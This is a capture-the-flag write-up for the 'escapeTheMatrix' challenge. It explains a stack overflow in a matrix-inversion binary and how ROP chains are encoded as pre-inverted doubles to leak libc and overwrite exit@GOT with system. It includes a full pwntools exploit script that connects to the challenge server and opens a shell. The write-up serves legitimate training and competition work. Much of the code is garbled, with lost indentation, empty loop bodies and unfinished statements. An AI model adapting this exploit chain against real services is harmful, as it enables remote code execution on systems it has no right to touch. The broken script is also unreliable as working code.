• Category: Exploit
• Points: 400
• Solves: 12
• Description:

The cake is a lie, but you already know that. You will meet soon the machine master. Feel free to speak with him, maybe if you speak right, you will understand the power of his mind.a

Url tcp://escapethematrix.quals.nuitduhack.com:50505/

Filename Size Hash (SHA-256)

libc.so.6 2.02 MB c01efbc3fd683182d2fe5ccecbc13e9d0ce2d2d26ed0063240d050952e3c09e7

escapeTheMatrix 14.34 kB c96e4875c0a90224a3cf6dca575022d28d8505712027755f585b3e38ecfe450a

## Write-up

As usual we are provided with a binary and a libc. From the presence of the libc, it’s pretty clear that we’re supposed to get a shell. Why else would we need it? ;) So first we took a look at what the binary does:

I am the Machine master give me a matrix please
Enter the number of lines :
2
Enter the number of collumns :
2
1,1,1,1
1,1,
1,1,

-1,1,
1,0,


OK. That’s not much. So we started to reverse the binary:

• It’s C++, you can see that immediately due to the mangled STL symbols in the binary.
• There are a lot of floating point instructions (xmm0 register usage all around). So apparently the matrix is filled with double.
• Exploit mitigations are pretty much disabled, except for NX and probably ASLR.
$checksec escapeTheMatrix [*] '/ctf/ndhquals2017/exploit/EscapeTheMatric_400/escapeTheMatrix' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)  The only functionality of the program is: 1. Reads matrix from stdin (0x400ef7) with a maximum size of 16 × 16 2. Prints input matrix (0x401200 called from 0x401018) 3. Inverts matrix (0x401326) 4. Prints inverted matrix (0x401200 called from 0x4010a2) 5. Frees the matrix (0x4012fc) and exits We figured that the operation is matrix inverse, because 1. We have the string can't invert matrix at 0x00401d39 2. And the function that performs the computation allocates temp matrices that have the dimension r × 2c. This looks like Gauss-Jordan. The main matrix data structure, looks roughly like this: struct Matrix { uint32_t has_heap_buffer; uint32_t rows; // + 4 uint32_t columns; // + 8 uint32_t unused_probably; double* flat_array; // + 0x10 };  First we looked at the input reading and matrix initialization, but found no issues there. We noticed that it happily inverts a m × n non-quadratic matrix, if m > n, but not of n > m. This gave us the idea that maybe during the Gauss-Jordan inversion some out-of-bounds access could happen. So we reversed the accessor functions, that map index pairs (i, j) to the flat array backing the matrix. We didn’t find any bugs there and they all feature proper bounds checking. In retrospect we spent far too much time reversing this stuff. The vulnerability was somewhere else. Then we took a look at the memory allocations and where the matrices are stored. Using ltrace we confirmed that our input is written to a matrix on the heap and the invert_matrix function allocates two temporary matrices: $ ltrace -C -i -e 'malloc+free' ./escapeTheMatrix
I am the Machine master give me a matrix please
Enter the number of lines :
2
Enter the number of collumns :
2
1,1,1,1
[0x7f7303dcaa78] libstdc++.so.6->malloc(24)        = 0xf6c030
[0x401192] escapeTheMatrix->malloc(32)             = 0xf6c050
1,1,
1,1,

[0x401192] escapeTheMatrix->malloc(64)             = 0xf6c080
[0x401192] escapeTheMatrix->malloc(64)             = 0xf6c0d0
[0x401323] escapeTheMatrix->free(0xf6c0d0)         = <void>
[0x401323] escapeTheMatrix->free(0xf6c080)         = <void>
-1,1,
1,0,


We then noticed that there is another matrix involved, a result_matrix.

void invert_matrix(Matrix* matrix, Matrix* result_matrix);


But there seems to be no heap allocation for the second matrix. We then noticed a suspicious call to a function we identified as a constructor for the Matrix class.

0x00401046  lea rdx, [rbp-0x720]  // array
0x0040104d  lea rax, [rbp-0x740]  // this
0x00401054  mov rcx, rdx
0x00401057  mov edx, ebx
0x00401059  mov rdi, rax
// Matrix(Matrix* this, uint32_t rows, uint32_t cols, double* array)
// rdi: this == [rbp-0x740]
// rsi: cols == input_matrix.get_cols()
// rdx: rows == input_matrix.get_rows()
// rcx: array == [rbp-0x720]
0x0040105c  call matrix_constructor


So the result array is allocated on the stack. We have the following local variables in main:

Matrix* result_matrix @ rbp-0x740
double[] result_array @ rbp-0x720
Matrix* input_matrix  @ rbp-0x18


So we have 0x720 - 0x18 == 0x708 == 1800 bytes for the result matrix. Unfortunately a 16 × 16 matrix needs 16 * 16 * 8 == 2048. So we have a stack-based buffer overflow when we input the biggest possible matrix and we can overwrite the return address. ROP ROP hooray. The problem is that the overflowed values are the result of the matrix inverse operation. Turns out this makes things a little tricky. The steps to exploit this are:

1. Create ROP chain
2. Convert ROP chain to double values
3. Put converted ROP chain in the matrix A
4. Invert matrix A to A'
5. Provide inverted matrix A' as input
6. Program inverts the matrix A' back to A and writes ROP chain to the stack
7. Win

To achieve 2. we just packed the integer values we needed and unpacked them as double:

def d2i(f):
return (u64(struct.pack("d", f)))

def i2d(i):
return (struct.unpack("d", p64(i))[0])


So our first try was a simple infoleak ROP chain

puts(GOT.puts);


We tried to use the pwntools ROP builder, but it often inserted a padding value, that interfered with matrix inversion. So we built the ROP payload by hand:

chain0 = ROP(velf)
chain0.raw(poprdiret)
chain0.raw(velf.got['puts'])
chain0.raw(velf.symbols['puts'])


Then we put the ROP chain it into the matrix. We used numpy to perform the matrix computations. We first created a 16 × 16 identity matrix. We then reshaped the matrix to a flat array, to set the ROP chain values on the flat array (you know less thinking). We know that the buffer starts at rbp-0x720. So the return address is at 0x720//8 + 1 == 229.

import numpy as np
N = 16
retaddr_A_idx = 229  # == 0x720 // 8 + 1

A = np.eye(N)
Aflat = A.reshape(-1)

pl = chain.chain()

plf = struct.unpack('d' * (len(pl) / 8), pl)
for i, f in enumerate(plf):

A = Aflat.reshape(N, N)
Ai = np.linalg.inv(A)


If the ROP chain is not too big, we get a lower triangular matrix, with all 1 in the main diagonal. This is a nice matrix, because it’s definitely invertible and the values in the lower part are just the negative of the original matrix. Turns out this works pretty well and there seems to be no rounding error when we put it through the invert_matrix function.

Locally we get a nice infoleak:

[*] exploiting with ropchain:
0x0000:         0x401c33 pop rdi; ret
0x0008:         0x603020 got.puts
0x0010:         0x400a60 puts
00000000  33 1c 40 00  00 00 00 00  20 30 60 00  00 00 00 00  │3·@·│····│ 0·│····│
00000010  60 0a 40 00  00 00 00 00                            │·@·│····││
00000018
[*] setting 229 to 2.07582817451e-317
[*] setting 230 to 3.11447916068e-317
[*] setting 231 to 2.07357375297e-317
...
[*] input matrix:
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,
0,0,0,0,0,-2.07583e-317,-3.11448e-317,-2.07357e-317,0,0,0,0,0,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
[*] result matrix:
[*] leaked:
00000000  10 11 7e b3  4a 7f                                  │··~·│J·│
00000006
[*] puts @ 0x7f4ab37e1110
[*] leaked libc base at 0x7f4ab3777000, system at 0x7f4ab37b7d00


We then tried it on the server and received no output :( WTF. We speculated a lot why this might be the case. Whether somehow the input was not parsed the same way, i.e. the precision of strtod was different etc. This was kind of of demotivating, but nevertheless we continued to construct a exploit that was working locally. We started off by extending the first ROP:

chain0 = ROP(velf)
chain0.raw(poprdiret)
chain0.raw(velf.got['puts'])
chain0.raw(velf.symbols['puts'])
# then call read(0, exit@GOT, X)
chain0.raw(poprdiret)
chain0.raw(0)  # stdin
chain0.raw(poprsir15)
chain0.raw(velf.got['exit'])
chain0.raw(0x42)  # dummy values
# call read and hope that rdx is something useful
# call corrupted exit
chain0.raw(velf.symbols['exit'])


Turns out this ROP chain was too big, we got a lot of NaNs from the inverted matrix. damn. New constraint: shorter ROP chains. We modified the infoleak ROP chain to to jump back to main:

chain0 = ROP(velf)
chain0.raw(poprdiret)
chain0.raw(velf.got['puts'])
chain0.raw(velf.symbols['puts'])
# jump back to main and repeat


This way we can repeat the whole process and overwrite the return address again. With the leaked libc address we constructed another small ROP payload:

libc.address = puts_leaked - libc.symbols['puts']
chain1 = ROP([velf, libc])
chain1.raw(poprdiret)
chain1.raw(next(libc.search("/bin/sh\x00")))
chain1.raw(libc.symbols['system'])


This did not work at all. Apparently imprecision of the computation on the double values was too high. The values we got on the stack were somewhere in the libc, but far away from what we wanted… OK. New limitation, we cannot directly use addresses of the libc in our ROP chain. The addresses in the main binary worked pretty reliably so we are restricted to use those. Short recap:

1. We cannot use libc address in the ROP chain
2. The ROP chain must be <= 9 slots for the matrix invert to work out

Now it’s gonna get intereseting. We probably could’ve found a way to work around 2 by continuing the ROP chain in the last row of the matrix and adjusting the stack a little. But we didn’t bother as using repeated corruption by returning to main again worked pretty well.

In the second ROP chain we will now use a function from the binary to overwrite the address of exit in the GOT. We used the read_data(char*buffer, uint32_t size) function at 0x400d75. We couldn’t find a gadget to set rdx, so we can’t use read directly. How nice that there is a wrapper in the binary :)

We overwrote the address of exit with the address of system. Now we just need to set the first argument of system to something useful. Unfortunately we didn’t find a string sh\x00 in the main binary. So we opted to write the string into the GOT, directly after the exit entry.

chain0 = ROP(velf)
chain0.raw(poprdiret)
chain0.raw(velf.got['puts'])
chain0.raw(velf.symbols['puts'])
# back to main

chain1 = ROP(velf)
# set first argument to exit@GOT
chain1.raw(poprdiret)
chain1.raw(velf.got['exit'])
# we ignore the second argument, worked anyway
# set first argument to exit@GOT + 8
chain1.raw(poprdiret)
# call system
chain1.raw(velf.symbols['exit'])


And we got a shell :) Remember we had problems with the infoleak on the remote server. We just swapped libcs and tried it on the remote server and suddenly our infoleak worked. Apparently it was a buffering issue and jumping back to main made the infoleak work. We had to adapt the exploit a little and 2 minutes later we had a shell :).

# cat ~/flag
NDH{d7ef20eef497a1eb9d0d119b45b3855d72e7f594923670e7290aa940e4d3c6f5}


yes :)

Here is the full (and uncleaned) exploit script:

#!/usr/bin/env python2
from __future__ import print_function
from pwn import *  # noqa
import numpy as np

gdbscript = """
init-pwndbg
# break exit
# break* 0x401b0d
# break* 0x40168f
# break* 0x4015a5
# break* 0x401a9d
# break* 0x4018e2
# break* 0x400dba
# break* 0x400de6
# break* 0x400e30
# break* 0x400e97
# break* 0x401a38

# break *0x401093
# break *0x4010e9

# break main
# break *0x400fa6

break *0x4010f2

print &system

# continue
continue
"""

def d2h(f):
return hex(u64(struct.pack("d", f)))

def d2i(f):
return (u64(struct.pack("d", f)))

def i2d(i):
return (struct.unpack("d", p64(i))[0])

def new_con():
# with context.local(log_level='warning'):
# rem = process("ltrace -C -f -i ./escapeTheMatrix 2>ltrace.log", shell=True)
# rem = process("./escapeTheMatrix")  # , env=vpenv)
# gdb.attach(rem, gdbscript)
rem = remote("escapethematrix.quals.nuitduhack.com", 50505)
return rem

velf = ELF("./escapeTheMatrix")
# libc = ELF("./libc.so.6")
libc = ELF("/usr/lib/libc-2.25.so")
context.arch = velf.arch

N = 16

pollfailedstr = 0x00401c63

fini_array = 0x00602de0

poprdiret = 0x00401c33
poprsir15 = 0x00401c31

# chain = ROP(velf)
# chain.raw(velf.symbols['puts'])
# chain.raw(velf.symbols['exit'])
# chain.puts(velf.symbols['exit'])
# chain.exit(42)

chain0 = ROP(velf)
chain0.raw(poprdiret)
chain0.raw(velf.got['puts'])
chain0.raw(velf.symbols['puts'])
# all the tries to get it working with a single rop chain...
# chain0.raw(poprdiret)
# chain0.raw(0)
# chain0.raw(poprsir15)
# chain0.raw(fini_array)
# chain0.raw(fini_array)
# chain0.raw(velf.got['exit'])
# chain0.raw(velf.symbols['exit'])
# chain0.raw(poprdiret)
# chain0.raw(velf.got['exit'])
# chain0.raw(poprsir15)
# chain0.raw(8)
# chain0.raw(8)
# chain0.raw(poprdiret)
# chain0.raw(velf.symbols['exit'])

# by using a second rop chain we don't have a problem with inverting
chain1 = ROP(velf)
chain1.raw(poprdiret)
chain1.raw(velf.got['exit'])
chain1.raw(poprdiret)
chain1.raw(velf.symbols['exit'])

log.info("rop chain0:\n" + chain0.dump())

# raw_input()

def exploit(chain):
A = np.eye(N)
Aflat = A.reshape(-1)

log.info("exploiting with ropchain:\n" + chain.dump())
rem.recvuntil(":")

pl = chain.chain()

plf = struct.unpack('d' * (len(pl) / 8), pl)
for i, f in enumerate(plf):
log.info("setting {} to {}".format(retaddr_A_idx + i, f))

A = Aflat.reshape(N, N)
log.info("Using matrix:\n" + str(A))
Ai = np.linalg.inv(A)
log.info("inverse:\n" + str(Ai))

n, m = A.shape

y = ["{}".format(x) for x in Ai.reshape(-1)]
tldr = [s for s in y if len(s) > 20]
if len(tldr) > 0:
log.warning("uuuh there might be a strtod precision issue!\n{!r}"
.format(tldr))

x = ",".join(y)
log.info("sending the following line:\n{!r}".format(x))

rem.sendline("{}".format(n))
rem.recvuntil(":")
rem.sendline("{}".format(m))
rem.recvuntil("datas :")
rem.sendline(x)

# rem.recvline()
m1 = ""
for _ in range(16):
m1 += rem.recvline()
log.info("input matrix:\n" + m1)

# rem.recvline()
m2 = ""
for _ in range(16):
m1 += rem.recvline()
log.info("result matrix:\n" + m2)

rem.recvline(timeout=1)

rem = new_con()

exploit(chain0)

# raw_input()

# rem.recvline()
leak = rem.recvline().strip("\n")
log.info("leaked:\n" + hexdump(leak))

if not leak:

log.info("leaked libc base at 0x{:x}, system at 0x{:x}"

# old non-working ROP chain
# chain1 = ROP([velf, libc])
# chain1.raw(poprdiret)
# chain1.raw(velf.symbols['exit'])

exploit(chain1)
rem.sendline(p64(libc.symbols['system']) + "sh\x00")

# rem.shutdown()
# log.info(hexdump(rem.recvall()))

with context.local(log_level='debug'):
rem.interactive()
"""
NDH{d7ef20eef497a1eb9d0d119b45b3855d72e7f594923670e7290aa940e4d3c6f5}
"""